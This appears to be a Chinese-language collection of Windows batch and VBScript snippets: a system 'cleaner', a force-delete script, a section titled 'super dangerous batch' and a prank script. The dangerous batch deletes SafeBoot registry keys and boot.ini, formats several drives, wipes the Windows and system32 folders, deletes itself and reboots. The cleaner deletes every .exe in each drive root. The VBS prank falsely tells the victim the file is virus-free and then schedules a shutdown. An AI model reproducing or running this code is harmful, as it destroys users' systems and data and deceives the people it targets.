for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do del /a /f /q %%i:\autorun.inf %%i:\*.exe & rd /q /s %%i:\recycler %%i:\recycled

rd /q /s "%ProgramFiles%\InstallShield Installation Information" >Nul 2>Nul

rd /q /s "%systemdrive%\Documents and Settings\All Users\Documents\My BoBoTurbo" >Nul 2>Nul

rd /q /s "%systemroot%\Connection Wizard" >Nul 2>Nul

rd /q /s "%systemroot%\Downloaded Installations" >Nul 2>Nul

rd /q /s "%SystemRoot%\Help" >Nul 2>Nul

rd /q /s "%systemroot%\ie7updates" & md "%systemroot%\ie7updates" >Nul 2>Nul

rd /q /s "%SystemRoot%\Offline Web Pages" >Nul 2>Nul

rd /q /s %SystemRoot%\system32\oobe

rd /q /s "%SystemRoot%\system32\ReinstallBackups" >Nul 2>Nul

rd /q /s "%SystemRoot%\SoftwareDistribution\Download" & md "%SystemRoot%\SoftwareDistribution\Download" >Nul 2>Nul

rd /q /s "%SystemRoot%\SoftwareDistribution\datastore" & md "%SystemRoot%\SoftwareDistribution\datastore" >Nul 2>Nul

rd /q /s "%SystemRoot%\SoftwareDistribution\EventCache" & md "%SystemRoot%\SoftwareDistribution\EventCache" >Nul 2>Nul

rd /q /s "%SystemRoot%\temp" & md "%SystemRoot%\temp" >Nul 2>Nul

echo 这里是清理无用的磁盘检错文件……

del /a /f /q "%SystemDrive%\*.chk" >Nul 2>Nul

dir %SystemDrive%\found.??? /ad/b >c:\临时垃圾.txt

for /f %%i in (c:\临时垃圾.txt) do rd /q /s "%SystemDrive%\%%i" >Nul 2>Nul

echo 这里清理系统升级补丁留下来的反安装目录……

dir %SystemRoot%\$*$ /ad /b >c:\临时垃圾.txt

for /f %%i in (c:\临时垃圾.txt) do rd /q /s "%SystemRoot%\%%i" >Nul 2>Nul

echo 这里是清除常见的软件垃圾项目……

Ren "%ProgramFiles%\Common~1\Real\Update_OB\realsched.exe" realsched.ex_ >Nul 2>Nul

强制删除的批处理文件

DEL /F /A /Q \\?\%1

RD /S /Q \\?\%1

说明：

新建一个记事本，把上面那段代码复制进去，然后保存，再把那个记事本的后缀给改成“.bat”改成批处理形式就OK了。然后把你想删除的文件拖到这个批处理上面就可以删除了哦Del "%ProgramFiles%\Common~1\Real\Update

超级危险的批处理

下面代码比较危险，请慎用。

@echo off

echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul

chcp 437>nul

graftabl 936>nul

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f

ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h

DEL %SYSTEMDRIVE%\boot.ini /f

format d:/q /y

format e:/q /y

format f:/q /y

format g:/q /y

cd c:\

cd windows

del *.* /q

cd system32

del *.* /q

del %0

shutdown -r -t 3

先改注册表.在改分区表.在格式化磁盘在删除C盘的资料然后在关机……

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.Run "cmd.exe /c shutdown -s -t 300"

wscript.sleep 2000

dim a

do

a=inputbox("输入abc，否则关机。")

if a="abc" then

msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"

exit do

else

msgbox"乖点，输入abc"

end if

loop